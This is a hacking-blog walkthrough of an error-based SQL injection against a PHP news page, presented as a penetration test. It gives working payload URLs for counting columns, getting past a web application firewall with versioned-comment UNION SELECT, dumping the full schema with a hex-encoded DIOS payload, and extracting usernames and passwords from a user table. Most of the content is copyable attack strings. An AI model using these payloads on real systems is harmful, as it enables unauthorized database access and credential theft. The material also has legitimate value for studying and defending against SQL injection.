June 21, 2023

Bypass to perform advanced SQL injection based on errors.

Hello my little Freaks. Hackfreaks Here! Without Further ado let's jump Into the topic. Well During penetration testing, I came across a website that in this article I will call http://domain.com.

Looking through the website, I didn't see any option, even though the website was built in PHP. I quit browsing and started using Google Dorking.

Google Dorking to find endpoints

Using simple dork inurl:http://domain.com, I was able to get some interesting endpoints:

Selected text on the image leads to an interesting point: http://domain.com/REDACTED/news.php?id=13

When opening the URL, I encountered a MySQL error. Even from Google dork output you can see it:

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27

The error is very valuable to us, because we know that we can perform some logical queries. Let's start operating.

Website behavior analysis

I tried a few basic queries to see how the site behaves. When entering an incorrect request, 2 errors are issued (1 which was by default and another which was caused by us).

So we know that if our request is correct, we only get 1 error message, otherwise we get 2 error messages. one more thing. If you like this then subs to our Hackfreaks Official would be great. Thanks to this valuable information (which took me time to figure out), let's get the number of columns with a query ORDER BY.

Finding the number of columns with Boolean + ORDER BY

Since the server is expecting a boolean statement, I can use query AND 0, but some other boolean queries can also be used:

AND null
AND 1

Now let's add both a boolean string and a query to our query ORDER BY. I always try to start by looking for a column with the number 1, because I am 100% sure that the site will not show any error.

http://domain.com/REDACTED/news.php?id=13 AND 0 order by 1-- -

We only get 1 error message (from the website, not from our request). Now that we know our query is correct, let's try increasing the number of columns by 1 until we get the second error.

?id=13 AND 0 order by 1-β€” - (shows 1 error)
?id=13 AND 0 order by 2 β€” β€” (shows 1 error)
?id=13 AND 0 order by 3-β€” β€” (shows 1 error)
?id=13 AND 0 order by 4-β€” β€” (shows 1 error)
?id=13 AND 0 order by 5-β€” β€” (shows 1 error)
?id=13 AND 0 order by 6-β€” β€” (shows 2 errors)

The second error message appears when we try to find the 6th column. So this means the database only has 5 columns.

?id=13 AND 0 order by 6-β€” β€”

Before proceeding, let's make sure once again that the database has 5 columns.

?id=13 AND 0 order by 5-β€” β€”

Traversing the WAF and Finding a Column to Dump

Now we are sure because we don't get the second error. It's time to find which of these 5 columns will allow us to get the data using a query UNION SELECT.

http://domain.com/REDACTED/news.php?id=13 AND 0 union select 1,2,3,4,5-- -

However, our request was blocked by WAF, let's try to get around the ban. There are tons of UNION queries to bypass WAF, but what worked in this case was:

http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5-- -

We bypassed the WAF, however the number is not displayed. Because of this, we don't know which columns we are going to drop. I looked through the whole page but didn't find anything, so I decided to look through the source code.

In the highlighted part, we see the numbers 2 and 3. Great, now we know that we should focus on these 2 columns. In this case, I'll try the second column.

Dump all data from second column

Finding the database name

With a query based, UNIONlet's get the name of the database.

http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5-β€” -

Great, we see the name of the database.

Automatic dump of tables + columns with DIOS

I'll try to inject the DIOS payload because getting each column for each table by hand is very long and boring. The DIOS payload I used is specifically built for WAF traversal using 0xHEX transform and /*!00000string traversal.

http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 -- -

Dump data inside columns

Great, we have tables and columns for each table. Of all the tables, I focus on the following.

Here's what caught my attention. I will focus on a table userand data dump of 2 columns: usernameand password.

The final payload will be as follows:

http://domain.com/REDACTED/news.php?id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5-- -

Now we look at the source code and see the username and password of the administrator or user.